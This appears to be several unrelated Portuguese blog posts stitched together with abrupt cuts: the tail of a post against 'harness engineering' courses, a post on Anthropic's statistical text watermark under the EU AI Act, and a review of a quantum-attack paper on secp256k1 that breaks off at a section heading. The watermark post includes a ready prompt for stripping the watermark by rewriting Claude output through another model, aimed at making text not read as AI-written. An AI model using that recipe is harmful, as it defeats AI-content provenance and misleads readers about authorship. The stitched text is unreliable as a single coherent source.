O ai-memory resolve isso do lado de fora do harness. Ele lê a sessão nativa sem tocar no arquivo original e guarda tudo num ledger pesquisável: mensagens, chamadas de ferramenta com resultados, resumos de compactação, checkpoint do git — cada evento marcado com a origem (veio do Claude, do Codex, do OpenCode). Quando eu abro outro harness, ele ganha a sessão nativa dele e recebe só o delta que ainda não viu. Quando eu volto pro anterior, o ai-memory retoma no formato daquele cliente e entrega o que aconteceu nos outros enquanto isso.

É por isso que “troco de harness como troco de cueca” não é força de expressão. O conhecimento do projeto mora no projeto, não na sessão de uma ferramenta. Se a Anthropic mudar preço, limite ou modelo amanhã — e vai mudar —, eu troco o motor sem jogar fora a viagem. Os detalhes de como isso funciona estão neste post.

Tem ainda uma inversão aqui que despacha o SDD de brinde. O spec-driven development diz que a fonte da verdade é um documento escrito antes do trabalho, tentando prever o futuro, e que o código deve obediência a ele. O ai-memory faz o contrário: a fonte da verdade é uma wiki destilada do próprio trabalho — cada sessão vira evidência, e o que merece sobreviver (decisões, regras, gotchas, tentativas que falharam) é consolidado em páginas Markdown curtas que qualquer agente lê antes de começar.

A spec tenta adivinhar o projeto; a wiki registra o projeto. Documento escrito antes apodrece no primeiro hotfix, porque ninguém é obrigado a atualizá-lo. A wiki é alimentada pelo próprio ato de trabalhar — e quando desatualiza, você percebe na hora, porque os agentes tropeçam nela toda sessão.

Repare que isso é harness engineering de verdade: uma ferramenta, escrita uma vez, resolvendo um problema meu. Nenhum curso, nenhuma sigla, nenhuma certificação.

Conclusão: pede o recibo

Não gaste tempo nem dinheiro com curso de “harness engineering”, “loop engineering” ou qualquer taxonomia da semana. É tentativa descarada de te cobrar por coisas que você já faz se souber engenharia de software básica.

Esse filme a gente já viu, aliás. O Pedro Arantes lembrou no X: “Microservices, clean architecture, hexagonal e Domain-Driven Design são tudo bullshit pra vender mais horas de consultoria e cursos.” Mesma história, mesmo roteiro. Cada um deles nasceu de um problema real — e virou default de quem não tinha o problema. Microservice pra time de três pessoas, arquitetura hexagonal pro CRUD (o cadastro cria-lê-atualiza-apaga de sempre), DDD pra nunca mais escrever código. A técnica passa, a taxonomia fica, o curso vende.

Pra ninguém se fazer de desentendido: nada disso é inútil. Loop com verificação funciona. Grafo funciona quando o fluxo é um grafo de verdade. Spec pesada salva time grande. Microservices resolveram problemas reais de quem tinha escala de verdade; DDD brilha em domínio complexo de verdade. O problema nunca foi a ferramenta — é vender a ferramenta como bala de prata, o martelo universal que você precisa aplicar em tudo. Bala de prata não existe, nunca existiu. Quem te vende uma não está vendendo solução; está vendendo curso.

Entenda o mecanismo psicológico, porque ele é velho e eficiente: esses termos existem pra te dar FOMO (Fear of Missing Out — o medo de estar perdendo o bonde). Pra te deixar ansioso, achando que está ficando pra trás, que está deixando produtividade na mesa, que todo mundo já migrou pro novo paradigma e você não. Ansiedade vende. Depois que você está inseguro, eles te cobram pra implementar algo de que você nunca precisou. FOMO é real — e aqui, é o modelo de negócio.

O modelo ainda é recorrente — repare na elegância. Primeiro te vendem a metodologia que gera artefatos — specs, grafos, boards, diagramas. Os artefatos se multiplicam, ninguém mais sabe onde está nada, e adivinha quem aparece? A mesma consultoria, agora vendendo a ferramenta que gerencia os artefatos, o curso que te ensina a gerenciar a ferramenta e o workshop de governança dos artefatos. É o vendedor de pá te parabenizando pelo buraco que você cavou — e te oferecendo uma pá maior.

A Gartner tem até nome oficial pra isso: “agent washing” — pegar produto existente, pendurar a etiqueta “agentic” e revender. A estimativa deles: só umas 130 das milhares de empresas que se vendem como “IA agêntica” são reais, e a previsão é de 40% dos projetos do tipo cancelados até o fim de 2027, por custo, valor incerto ou risco mal controlado. Não é implicância minha; é o ciclo, medido.

Da próxima vez que um influencer ou consultor tentar te empurrar esses produtos, faz uma pergunta simples: onde estão as suas dezenas de projetos open source de alta qualidade que ficaram melhores por causa dessas “técnicas”?

Eles não têm o que mostrar. Eu tenho — está tudo público, com código, benchmark e processo documentado. Quando a tecnologia vira commodity, o dinheiro migra pra taxonomia. Não seja o cliente dessa migração.

Desligar, sem opção. A reação veio rápida: uma onda de cancelamento de assinatura, com print do cancelamento circulando no X.

Antes de cancelar por reflexo, vale saber o que a marca é de verdade. Ela funciona de um jeito bem distinto do que a maioria imagina, existe por um motivo concreto, e desaparece com uma facilidade quase cômica.

Pra quem tem pressa, o essencial:

• Um viés estatístico nas palavras que o Claude escolhe. Invisível na leitura, detectável apenas por quem tem a chave da Anthropic. Caractere escondido e fonte estranha ficam de fora.
• A origem é a lei europeia, o AI Act. A Anthropic assinou o código de transparência europeu e resolveu carimbar no mundo inteiro; o porquê vem adiante.
• Uma passada por outro LLM apaga o carimbo. O sinal mora nas escolhas de palavra do Claude; quando outro modelo reescreve o texto, até um fraquinho local, as escolhas viram outras e o padrão se dissolve. A própria Anthropic reconhece.

Cada ponto em detalhe a seguir.

O que é esse watermark, de verdade

Pode tirar da cabeça caractere Unicode invisível, espaço escondido no meio da linha, fonte alterada. O watermark da Anthropic é estatístico: ele atua na hora em que o Claude decide qual palavra usar, justamente nos pontos em que várias palavras serviriam igualmente bem.

Todo modelo de linguagem monta texto palavra por palavra, tirando a próxima de uma lista de candidatos prováveis. Quando duas ou três servem igual, um número aleatório decide. O watermark muda a origem desse acaso: o número passa a derivar de uma chave secreta combinada com as palavras anteriores. O método é herdado do SynthID-Text, do Google DeepMind.

Um exemplo concreto. Falando do tempo, “o céu estava nublado” e “o céu estava cinzento” transmitem a mesma informação. Nesses encontros de sinônimos, a chave inclina o Claude pra um lado com mais frequência do que o puro azar inclinaria. Cada escolha isolada passa despercebida, mas um texto longo repete esse ponto de decisão centenas de vezes, e o conjunto acaba formando uma assinatura estatística.

O comunicado da Anthropic é direto: o texto não ganha nada, e nenhum caractere fica oculto. O custo segue o mesmo porque nenhum token extra é gerado, e a leitura fica idêntica. Quem segura a chave roda um detector, compara a sequência de palavras com as escolhas típicas do Claude e recebe de volta uma probabilidade de o texto ter saído dele.

E o que a marca prova se resume a isso: o Claude esteve envolvido em algum momento. Ela não distingue um texto escrito do zero pelo modelo de um texto que ele só editou com peso. Sobre você, nada fica registrado: sem usuário, sem empresa, sem conversa identificada.

O carimbo vale pro texto do Claude.ai, da API, do Claude Code e dos demais produtos. Em código ele aparece menos, já que código raramente permite trocar um termo por outro equivalente. Arquivos e imagens seguem caminho distinto, um metadado assinado chamado C2PA, em vez deste watermark de texto. E a limitação importa: em trecho curto ou altamente factual, onde quase não existe escolha de palavra, o detector enfraquece.

Por que tanta gente cancelou

O estopim somou três ingredientes: caráter obrigatório, alcance global e ausência de opt-out. A marca não se desliga e vale fora da Europa também. Uma leva de assinantes do Claude Max cancelou citando controle e autoria do próprio material.

O receio é concreto, no campo profissional e no acadêmico. Rascunhar com o Claude e assinar o resultado como seu vira risco se, adiante, um detector apontar “passou por IA”. A Anthropic respondeu com um post garantindo que a marca preserva leitura, sentido e qualidade, apenas sinalizando processamento. Nem todo mundo se convenceu.

A lei europeia por trás do carimbo

O carimbo nasceu de uma obrigação concreta. O Artigo 50 do AI Act exige que provedores de sistemas de IA geradora marquem a saída em formato legível por máquina, de modo que o conteúdo artificial dê pra identificar como tal. A obrigação passou a valer em 2 de agosto de 2026, e descumprir custa caro: multa de até €15 milhões ou 3% do faturamento global anual.

A Anthropic tinha assinado, em julho de 2026, o Código de Prática de Transparência pra Conteúdo Gerado por IA da Comissão Europeia, junto com outros grandes provedores de modelo, num grupo de cerca de 190 signatários. Os demais também vão implementar as próprias marcas d’água, cada um com sua chave e seu método.

Sobrou pra Anthropic uma decisão: restringir a marcação à Europa ou estender ao planeta. A empresa afirma ainda não ter um jeito durável de limitar a marca por região, então escolheu carimbar tudo, em todo lugar, desde o primeiro dia. Daí o carimbo aparecer no texto de assinantes brasileiros e japoneses, que nada têm a ver com a lei europeia.

Dá pra remover passando o texto por outro LLM?

Essa é a pergunta que mais chega pra mim. Resposta curta: dá, e é fácil. O sinal mora nas escolhas de palavra do Claude; quando outro modelo reescreve o texto, as escolhas passam a ser dele, e o padrão estatístico se desfaz.

A própria Anthropic admite. Retoque leve provavelmente deixa pedaço da marca, mas a reescrita completa, com cada palavra trocada, elimina o sinal. A lógica é simples: o detector mede quais sinônimos o Claude preferiu; se outro modelo escolheu os sinônimos dele, não sobra nada do Claude pra medir.

A academia confirma o rumo. Testes de robustez do SynthID, feitos na Queen’s University, partem de detecção perfeita sem ataque e mostram a taxa caindo pra volta de 84% depois de um parafraseador dedicado, e pra menos de 70% com tradução de ida e volta. Quanto mais agressiva a reescrita, mais o sinal degrada.

E sim, a intuição está certa: um modelo modesto, até local, resolve. Rearranjar texto preservando o sentido é serviço que dispensa raciocínio profundo. Um GLM, um Kimi, um Llama pequeno rodando na sua máquina reescreve o parágrafo e apaga a assinatura no caminho. Trocar “nublado” por “cinzento” mil vezes está longe de pedir o modelo mais esperto do mercado.

Dois poréns honestos. A reescrita precisa ser genuína, palavra por palavra; uma passada de corretor ortográfico fica longe de contar. E tudo isso vale pro watermark de texto: arquivos e imagens carregam o tal metadado C2PA, que sai por outro método, limpando os metadados do arquivo.

Que prompt faria isso

Somando os critérios do watermark, o prompt de remoção quase se monta sozinho. A marca habita escolhas de sinônimo e de estrutura, resiste a edição leve e depende de texto com certa extensão. Logo, o prompt precisa exigir troca máxima de vocabulário e de estrutura, segurando o sentido no lugar.

Reescreva o texto a seguir na íntegra, com palavras suas.
Substitua o vocabulário e reorganize as frases do início ao fim:
escolha outros sinônimos, mude a ordem das orações, varie a construção.
Mantenha exatamente o sentido, os fatos e o tom.
Evite reproduzir qualquer expressão literal do original.
Entregue somente o texto reescrito.

Texto:
"""
<cole aqui o texto do Claude>
"""

Cada linha mira um critério. “Com palavras suas” e “substitua o vocabulário” desmontam os encontros de sinônimo onde a marca se esconde. “Reorganize as frases” e “mude a ordem das orações” quebram a sequência de palavras que o detector compara. “Evite reproduzir expressão literal” tapa as frestas que uma edição leve deixaria abertas.

Nada de mágica aqui, e é assim por desenho. A Anthropic conhece o limite e fala claro: a marca é macia, atesta que o Claude encostou no texto e desaparece diante de uma reescrita séria. Funciona como rótulo de proveniência num mundo em que a maioria jamais vai se dar ao trabalho de apagar; contra quem decide apagar, o sinal é fraco.

Onde isso deixa a gente

No meu balanço, o watermark assusta menos e pode menos do que os dois lados do berreiro anunciam. Ele é invisível, carrega zero dado seu e prova, no limite, que o Claude passou pelo texto. Uma reescrita em qualquer modelo o dissolve. É um rótulo de proveniência deliberadamente fraco, desenhado pra cumprir a lei europeia.

Ainda assim, cancelar por causa dele segue uma lógica que entendo. Marcação compulsória, planetária, sem porta de saída, irrita quem paga pela ferramenta. E dos cerca de 190 signatários do Código europeu, o Claude foi o que chegou primeiro às manchetes, absorvendo sozinho a onda de revolta.

Quem só quer usar o Claude e seguir a vida quase não sente diferença no dia a dia. Quem precisa que o texto não grite “IA” resolve com um parágrafo reescrito num modelo local, e a receita está com a própria Anthropic. O barulho ficou bem maior que o buraco.

Como este texto foi feito

Transparência combina com o assunto. O primeiro rascunho deste artigo foi escrito pelo Claude. Em seguida o Kimi fez a checagem de fatos, afirmação por afirmação, contra as fontes originais, e pegou uma estatística inventada no meio do caminho, que a gente corrigiu. Por fim, o GLM reescreveu o texto inteiro, palavra por palavra, seguindo a receita das seções acima.

Ou seja: o artigo aplica nele mesmo o que ensina. Saiu do Claude, passou pelo crivo do Kimi e voltou com o vocabulário e a construção do GLM. Se o rascunho original carregava o watermark, a reescrita completa trocou as escolhas de palavra, e com elas o sinal. Sem detector público, ninguém consegue conferir de fora; a receita, essa, qualquer um pode testar.

O documento se chama Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities, e a lista de autores por si só já obriga a levar a sério: é o Google Quantum AI (com Craig Gidney, o mesmo das estimativas recentes pra quebrar RSA), mais a Ethereum Foundation (Justin Drake) e Stanford (Dan Boneh, um dos pais da criptografia de curva elíptica). É gente que constrói computador quântico sentada na mesma mesa que gente que inventou boa parte da criptografia que roda hoje. Peso raro pra um assunto que costuma atrair muito chute de quem nunca leu uma linha do que critica.

Antes de qualquer coisa: leia o paper direto. Ele é longo, denso, mas escrito com um cuidado raro, inclusive num esforço explícito de não virar FUD.

O que eu faço aqui é minha própria leitura, depois comparo com o que o GLM, o Kimi e o ChatGPT acharam quando pedi pra eles rasgarem o texto, e no fim tento responder a pergunta que interessa pra quem tem meia dúzia de satoshis ou de ether na carteira: qual é, no mundo real, a chance de um computador quântico roubar dinheiro seu nos próximos anos?

Adianto o espírito da coisa: o céu não está caindo. Mas o recado de “comece a se mexer agora” tem fundamento, e a razão é mais sutil do que “o quântico vem aí”.

O resumo, pra quem tem pressa:

• O paper é sério e a conta fecha. Google, Ethereum Foundation e Stanford mostram que quebrar a secp256k1 caiu pra menos de 500 mil qubits físicos e cerca de 9 minutos, num cenário condicional já confirmado por reprodução aberta e independente.
• Isso mede o tamanho da máquina; a data continua em aberto. O melhor hardware de hoje trabalha com uns 12 qubits lógicos, e o ataque pede mais de 1.200. Pelo roteiro da IBM, o hardware do tamanho certo aparece lá por 2033.
• O Bitcoin não vai acabar. O risco atinge quem tem a chave pública exposta, um subconjunto de endereços (uns 6,9 milhões de BTC, boa parte já perdida). Carteira moderna sem reuso fica segura em repouso, e a mineração não corre risco nenhum.
• O que dá pra fazer. Como usuário, higiene de chave: endereço novo a cada uso, sem reuso (senha mais forte não ajuda contra o quântico). Como indústria, começar a migração pós-quântica agora, em camadas, sem jogar tudo fora.

Abaixo, cada um desses pontos com calma: o que o paper diz, onde eu concordo e discordo dos outros modelos, a chance real com prazos, e o que fazer na prática.

O que o paper realmente diz, em português de engenheiro

Deixa eu tirar o jargão da frente primeiro. A segurança do Bitcoin, do Ethereum e de quase toda cripto se apoia num problema matemático: dado uma chave pública, é inviável calcular a chave privada correspondente. Todo mundo vê sua chave pública; ninguém consegue voltar dela pra sua chave privada. É essa mão única que faz uma assinatura digital valer alguma coisa.

O algoritmo de Shor, rodando num computador quântico grande o suficiente, quebra exatamente essa mão única. Ele transforma “inviável” em “questão de minutos”. Isso não é novidade desde 1994. A novidade do paper é outra, e são cinco pontos.

Primeiro: o custo despencou. O time do Google apresenta circuitos novos pra resolver o problema da curva secp256k1 (a curva do Bitcoin e das contas do Ethereum) usando muito menos recurso do que se imaginava. São duas receitas: uma com menos de 1.200 qubits lógicos e 90 milhões de portas Toffoli, outra com menos de 1.450 qubits lógicos e 70 milhões de portas.

Em hardware supercondutor, com premissas padrão de correção de erro, isso caberia em menos de 500 mil qubits físicos — quase 20 vezes menos que estimativas anteriores — e rodaria em 9 a 12 minutos a partir de um estado pré-computado. Guarde esse número: 9 minutos. Ele é o que assusta, porque é menor que o intervalo médio de um bloco do Bitcoin.

Segundo: eles não publicaram o circuito. Aqui tem uma jogada elegante e polêmica ao mesmo tempo. Pra provar que têm um circuito daquele tamanho sem entregar a arma carregada pra qualquer um, eles publicaram uma prova de conhecimento zero: uma prova matemática de que possuem o circuito, sem revelar o circuito. É responsável na intenção. Só que, como eu conto mais pra frente, essa parte foi o ponto mais frágil da história.

Se “prova de conhecimento zero” soa esotérico, a ideia é simples e velha na criptografia: provar que você sabe ou tem alguma coisa sem revelar a coisa em si. Dá pra provar que você é maior de idade sem mostrar a data de nascimento, ou que sabe a senha sem digitá-la.

É o mesmo truque por trás da privacidade de várias criptomoedas: o Zcash usa ZK (os tais zk-SNARKs) pra validar transações blindadas sem expor valor nem endereço, o Monero usa provas de faixa (os bulletproofs) pra esconder quanto foi enviado, e os zk-rollups do Ethereum usam ZK pra comprovar que um lote de transações é válido sem reprocessar tudo. No paper, o Google usa a mesma família de ferramenta pra provar que possui o circuito, sem entregar o circuito.

Terceiro: nem todo computador quântico serve pra tudo. O paper cria uma distinção que é a melhor contribuição prática do texto. Existe o “relógio rápido” (supercondutor, fotônico) e o “relógio lento” (íons aprisionados, átomos neutros), com uma diferença de 100 a 1.000 vezes na velocidade. Dessa velocidade saem três tipos de ataque:

• Ataque no gasto (on-spend): o atacante intercepta sua transação no mempool, quebra a chave e injeta uma transação rival antes do seu gasto entrar num bloco. Precisa de relógio rápido, porque é uma corrida contra o relógio do bloco.
• Ataque em repouso (at-rest): a chave pública já está exposta na blockchain (carteira parada, chave reusada). O atacante tem dias ou meses pra trabalhar. Serve até relógio lento.
• Ataque na configuração (on-setup): uma única computação quântica extrai um segredo de uma cerimônia criptográfica e vira um gabarito reutilizável, que depois roda em computador clássico comum. Esse é o mais insidioso, e ataca coisas como o mecanismo de dados do Ethereum.

Quarto: o mapa de quem sangra. No Bitcoin, os alvos em repouso são os scripts antigos P2PK (cerca de 1,7 milhão de BTC, quase tudo da era Satoshi e provavelmente perdido), o Taproot (P2TR, que expõe a chave), e qualquer endereço reusado.

Somando tudo, o paper estima cerca de 6,9 milhões de BTC vulneráveis hoje, dos quais uns 2,3 milhões estão dormentes há mais de cinco anos. Os endereços modernos que escondem a chave atrás de um hash e nunca gastaram continuam seguros em repouso.

E tem uma boa notícia enterrada aqui: a mineração do Bitcoin não corre risco. O algoritmo de Grover, que atacaria a mineração, tem ganho pequeno demais e não paraleliza; o overhead de correção de erro come tudo. O paper enterra esse mito de propósito.

A mineração do Bitcoin não corre risco. O quântico derrubando o Proof-of-Work é o mito que este paper enterra de propósito.

Quinto: o Ethereum tem uma superfície bem maior. O modelo de contas expõe a chave pública permanentemente depois da primeira transação, ao contrário do modelo de UTXO do Bitcoin. Some a isso as chaves administrativas de contratos (stablecoins, pontes, oráculos), as assinaturas BLS que seguram o consenso Proof-of-Stake, e os compromissos KZG da camada de dados. É mais coisa exposta, e boa parte não dá pra “trocar de endereço” pra escapar.

E como o paper argumenta tudo isso? Três pernas: as estimativas de recurso (com a prova de conhecimento zero pra dar credibilidade), dados reais da blockchain (as quantidades de BTC e ETH em risco vêm de consultas públicas ao BigQuery), e o enquadramento honesto de que o objetivo é acender o alerta pra migrar, deixando claro que a máquina ainda está por vir.

O paper, aliás, não dá uma data. Ele mede o tamanho da máquina e para aí; o calendário fica em aberto.

Onde eu concordo e onde discordo dos outros modelos

Pedi pro GLM 5.3, pro Kimi K3 e pro ChatGPT (GPT 5.6) analisarem e criticarem o paper. O interessante é que os três, e eu, convergimos no essencial e divergimos exatamente nos mesmos pontos. Isso é um bom sinal: quando modelos diferentes batem no mesmo prego, o prego costuma existir.

No que todo mundo concorda (e eu também):

• A estimativa de recurso lógico é crível. Não é um número solto: segue a trajetória histórica (o custo pra quebrar RSA-2048 caiu de ~1 bilhão de qubits em 2012 pra menos de 1 milhão em 2025) e vem justamente do grupo que produziu as melhores estimativas da área.
• A distinção relógio rápido / relógio lento e o par gasto / repouso é a lente certa pra pensar mitigação.
• A imunidade da mineração é correta e precisava ser dita em voz alta.
• Os assets dormentes são um problema real que nenhum fork de software resolve sozinho, porque ninguém tem a chave privada pra mover as moedas perdidas.

No que todo mundo faz ressalva (e eu reforço):

O ChatGPT foi o mais preciso numa distinção que vale ouro: existe um abismo entre “valor em risco” e “perda esperada”. Quando o paper diz “20,5 milhões de ETH em contas vulneráveis” ou “6,9 milhões de BTC expostos”, isso mede o quanto o sistema depende de criptografia frágil. É um número bem maior do que o que um atacante conseguiria de fato roubar.

Tem sobreposição, tem multisig, tem chave administrativa que dá pra rotacionar, tem contrato com conselho de emergência que pausa tudo. Empilhar esses números numa manchete de “trilhões em risco” é desonesto com o próprio paper.

“Valor em risco” mede o quanto o sistema depende de criptografia frágil. É um número bem maior do que o que um atacante conseguiria de fato roubar.

O mesmo vale pro famoso 41% de chance de roubo no Bitcoin. Esse número é só a probabilidade de a computação de 9 minutos terminar antes do próximo bloco aparecer (o bloco chega em média a cada 10 minutos, mas com muita variância). Não é a chance de roubar seu dinheiro.

Pra roubar, o atacante ainda precisa propagar a transação rival, convencer um minerador a incluí-la, vencer a corrida de taxa. E o próprio paper assume condições favoráveis ao atacante (rede sem congestionamento, entrega instantânea). Kimi e ChatGPT batem nisso, e eu concordo.

O ponto mais importante, e que eu acho que o paper deixa nas entrelinhas de propósito: os 500 mil qubits físicos e os 9 minutos descrevem um cenário de engenharia condicional. De data, o paper não fala. É um projeto de máquina que poderia fazer o ataque, assumindo taxa de erro de 0,1%, ciclos de correção de 1 microssegundo, decodificação de baixa latência, fábricas de estado mágico suficientes, e meio milhão de qubits operando estáveis por minutos a fio.

Cada premissa é razoável isolada. A corrente inteira funcionando junta, nessa escala, ninguém demonstrou.

E aqui entra o ponto mais interessante, que o Kimi e o ChatGPT pegaram e eu confirmei buscando fora: o mecanismo da prova de conhecimento zero tinha um bug. A Trail of Bits conseguiu forjar uma prova explorando falhas de memória e de lógica no código Rust do verificador do Google, a ponto de gerar uma prova que reportava zero portas Toffoli pra um circuito que nem era reversível.

Repare no que isso quebra e no que não quebra. O furo estava no software que checa a prova, não numa demonstração de que o circuito do paper está errado. A prova deixou de ser confiável, e a alegação científica em si ficou de pé, sem prova nem contraprova. O Google corrigiu o verificador na versão 2.

A lição é sobre confiança: em vez de confiar na palavra do Google, a prova te pedia pra confiar no parser, no compilador e no simulador dele.

E é justamente por isso que a reprodução independente importa tanto. Em junho de 2026, o pesquisador André Schrottenloher refez os circuitos de forma aberta, chegando na mesma região: cerca de 56 milhões de portas Toffoli, com o circuito inteiro publicado e reproduzível.

O próprio Gidney reconheceu que a reprodução capturou o avanço essencial, e depois disso outros já empurraram o número pra baixo de mil qubits lógicos. Ou seja: a alegação central do paper se sustentou, mas por um caminho que não depende de confiar no software de prova de ninguém. Quem fechou a conta foi a ciência aberta.

Um último ponto que quase ninguém levanta e eu acho que precisa ser dito: conflito de interesse. Sete autores são do Google Quantum AI, cujo roteiro de hardware é justamente a arquitetura supercondutora que o paper faz parecer a ameaça mais próxima. E tem um coautor da Ethereum Foundation num paper que classifica o Ethereum como mais exposto e recomenda migração urgente.

Os autores declaram posições compradas em cripto e nenhuma vendida, o que é honesto. Isso não invalida nada — a competência técnica do time é a melhor da área — mas pede leitura calibrada, de cabeça fria.

A pergunta que interessa: qual a chance real, e quando?

Vamos separar o teórico do real, que é onde a maioria das discussões vira sopa.

No teórico, a resposta é sim, com folga. Se existir uma máquina grande e estável o suficiente, o algoritmo de Shor quebra a secp256k1. Do lado matemático já está resolvido; o que falta é engenharia. A pergunta toda se resume a: quando essa máquina existe?

Qubit físico contra qubit lógico

Aqui vale um parêntese pra separar dois números que confundem quase todo mundo: qubit físico e qubit lógico. O qubit físico é o hardware real, e ele é ruidoso; perde o estado num piscar, por interferência, calor, vibração. Sozinho, erra demais pra qualquer conta séria.

A saída é a correção de erro: você junta centenas ou milhares de qubits físicos, todos representando um único qubit lógico, e usa a redundância pra detectar e consertar os erros em tempo real. O qubit lógico é o qubit “de verdade”, estável, que o algoritmo enxerga.

E é aí que a dificuldade se esconde atrás dos números. O ataque não pede só 1.200 qubits lógicos; pede 1.200 qubits lógicos funcionando juntos, todos estáveis ao mesmo tempo, por minutos a fio, executando dezenas de milhões de operações sem que o sistema de correção seja soterrado por erro.

É como manter mil pratos girando de uma vez, cada prato feito de mil peças que querem cair, durante a apresentação inteira. Manter um único prato desses de pé por um instante já foi o feito histórico de 2024. O salto pra mil pratos, girando por minutos, é o abismo de verdade.

Onde o hardware está hoje

Na realidade de hoje, estamos longe. O próprio Google ajuda a medir a distância. O Willow, o chip de ponta deles, provou em 2024 correção de erro abaixo do limiar, um feito histórico. Só que o resultado foi um único qubit lógico bem corrigido, montado a partir de 101 físicos, que viveu mais que qualquer um deles.

Se a régua for quantidade de qubits lógicos rodando juntos, o recorde público hoje anda perto de uma dúzia (a Quantinuum chegou a 12). O paper pede mais de 1.200. Nas duas réguas, qualidade e quantidade, a distância fica na casa das cem vezes, e cada qubit lógico ainda custa milhares de qubits físicos com a estabilidade que falta.

Em qubits físicos, o maior sistema anunciado está na casa dos milhares; o ataque quer quase meio milhão. São várias ordens de grandeza de distância, em várias dimensões ao mesmo tempo. Nada que um ajuste fino resolva.

Hoje o melhor hardware trabalha com qubits lógicos na casa da dúzia. O ataque pede mais de mil. A distância é de ordens de grandeza.

Tem ainda uma aposta que foge desse jogo de força bruta: a topológica, da Microsoft. A ideia é um qubit protegido por hardware, naturalmente mais resistente a erro, o que reduziria muito a conta de qubits físicos por lógico. O Majorana 2, de 2026, trocou o alumínio por chumbo e pulou a coerência de milissegundos pra 20 segundos, e a Microsoft antecipou a meta de tolerância a falhas de 2033 pra 2029.

Só que é a aposta mais contestada de todas. Boa parte da comunidade duvida que exista um qubit topológico funcionando de verdade ali; o paper mais recente mostra só metade das medições que provariam o qubit. Se der certo, é atalho pra todo mundo; se não, é beco sem saída. Eu destrinchei esse caso num artigo à parte.

Os roteiros e os prazos

No futuro próximo, aí mora a discussão de verdade. O jeito honesto de falar disso é por estimativa, porque certeza ninguém tem aqui. A referência mais citada é o Quantum Threat Timeline do Global Risk Institute, uma pesquisa anual com especialistas da área.

A edição de 2025 dá algo como 34% de chance de um computador quântico criptograficamente relevante até ~2030 e ~49% até ~2035, com a mediana das opiniões caindo entre 2029 e 2032. E essas estimativas são pra um CRQC genérico, tipicamente pensado pra quebrar RSA-2048.

Do lado de quem fabrica, o roteiro mais explícito é o da IBM. Ele prevê o Starling em 2029, a primeira máquina tolerante a falhas de larga escala, com 200 qubits lógicos e 100 milhões de operações.

Repare que 200 ainda fica abaixo dos mais de 1.200 que o ataque pede. A máquina do tamanho certo só aparece no passo seguinte, o Blue Jay, marcado pra 2033, com 2.000 qubits lógicos e 1 bilhão de operações.

Pelo próprio roteiro mais agressivo da indústria, então, o hardware com qubits lógicos suficientes pra ameaçar a secp256k1 chega lá por 2033, com a ressalva de sempre: roteiro de quântica escorrega. A IBM aposta em códigos qLDPC pra isso, que reduzem em cerca de 90% os qubits físicos por trás de cada lógico ante o surface code do Willow.

E a China? Ela está lado a lado na fronteira, o que derruba a ideia de corrida de um cavalo só. O Zuchongzhi 3.2, da USTC, cruzou em 2025 o mesmo limiar de correção de erro do Willow, com um qubit lógico de superfície na distância 7, e foi o primeiro time fora dos EUA a chegar lá.

Mas repare que é o mesmo marco: um único qubit lógico bem corrigido, o mesmo abismo de cem vezes até os 1.200. E, no público, a China ainda não colocou na mesa um roteiro datado pra máquina grande como o da IBM; o plano declarado é incremental, empurrar a distância do código pra 9 e 11. Na ciência de fronteira, empatam; num calendário até a máquina que quebra cripto, ninguém dos dois lados tem uma data fácil.

Um aviso sobre todas essas datas: elas são o melhor cenário, com cada roteiro publicado entregando no prazo. Roteiro é declaração de intenção, e o histórico da computação quântica é de prazos que escorregam pra frente.

Vou além, e aqui é opinião minha: eu aposto num prazo pelo menos uma ordem de grandeza maior que esses roteiros. Manter milhares de qubits lógicos em sincronia, sem erro, por minutos seguidos, é um problema tudo menos linear. Sinto que cada qubit lógico a mais deixa o conjunto exponencialmente mais difícil de segurar junto: a dificuldade de sincronizar multiplica a cada peça nova, em vez de só somar.

Minha leitura, em números

Colando isso na realidade específica da cripto, minha leitura em números redondos, tomando os roteiros pelo valor de face (bem mais otimista que a minha aposta ali de cima), e sempre como estimativa e opinião:

• Nos próximos 2 a 3 anos (até ~2029): perto de zero. Sair de 12 pra 1.200 qubits lógicos estáveis nesse prazo não está em nenhum roteiro público sério.
• No horizonte 2030–2032: baixo, mas não desprezível. Talvez 10% a 20% de a máquina existir em princípio. A chance de roubo de fato é ainda menor, porque os alvos de maior valor (exchanges, carteiras modernas) terão se mexido antes.
• Lá por 2035: aí a moeda vira coin flip pra um CRQC genérico, na casa dos 40% a 50% segundo os especialistas. Só que “existe um CRQC” não é o mesmo que “roubaram seu dinheiro”. Até lá, a migração já deveria estar bem andada.

O detalhe que decide tudo, e que o Mosca resume num teorema simples: o que importa é a data da máquina menos o tempo que a sua migração leva. Se migrar leva anos, e a máquina pode chegar em cinco a dez, você já está no aperto, mesmo com probabilidade baixa no curto prazo. É por isso que “comece agora” faz sentido mesmo com o céu limpo. Gestão de risco assimétrico, com a cabeça fria.

Por que isso não é “acabou, tá tudo perdido”

Mesmo no cenário de uma máquina pronta e um atacante mal-intencionado, o estrago é cirúrgico, atinge alvos específicos em vez de apagar tudo. E o porquê é simples de entender.

Seu dinheiro em cripto não mora no seu HD nem no seu Ledger. Ele mora na blockchain pública, à vista de todo mundo, o tempo todo. O dispositivo só guarda a chave privada que autoriza mover aquilo. Qualquer pessoa pode ir num explorador de blocos, digitar um endereço e ver o saldo. O que decide sua exposição ao quântico é uma coisa só: a sua chave pública já apareceu em algum lugar?

Nos endereços modernos do Bitcoin (os bc1q, que escondem a chave atrás de um hash), enquanto você nunca gastou daquele endereço, a chave pública não está exposta. O atacante quântico não tem por onde começar, porque ele quebra a chave pública, e ela não está lá. Esses fundos estão seguros em repouso.

A exposição só nasce no momento em que você gasta, e mesmo aí é uma janela de minutos, contra um relógio de bloco, precisando da tal máquina de relógio rápido que ainda não existe.

Vale o cuidado com a palavra: “resistente ao quântico” é grande demais pra esses endereços. O que eles oferecem é proteção em repouso, válida enquanto a chave fica escondida atrás do hash. No dia em que você gasta, a chave pública vai pro bloco e abre a janela de gasto. A blindagem permanente vem mesmo com a migração pra assinatura pós-quântica; o hash só compra tempo até lá.

Por isso o paper fala em cerca de 6,9 milhões de BTC vulneráveis, de um total de quase 20 milhões. A maior fatia disso é chave reusada e os P2PK da era Satoshi, que provavelmente estão perdidos de qualquer jeito.

Isso se concentra num subconjunto de endereços com um comportamento específico, a chave exposta, enquanto o resto da rede segue de fora. Quem usa endereço novo a cada recebimento e não fica gastando do mesmo lugar já está, na prática, fora da mira em repouso.

A cripto vulnerável é um subconjunto de endereços com um comportamento específico: chave já exposta. Carteira nova, sem reuso, fica de fora.

O que você pode fazer hoje

Aqui vem a pergunta que sempre aparece, e a resposta que decepciona quem esperava um botão mágico.

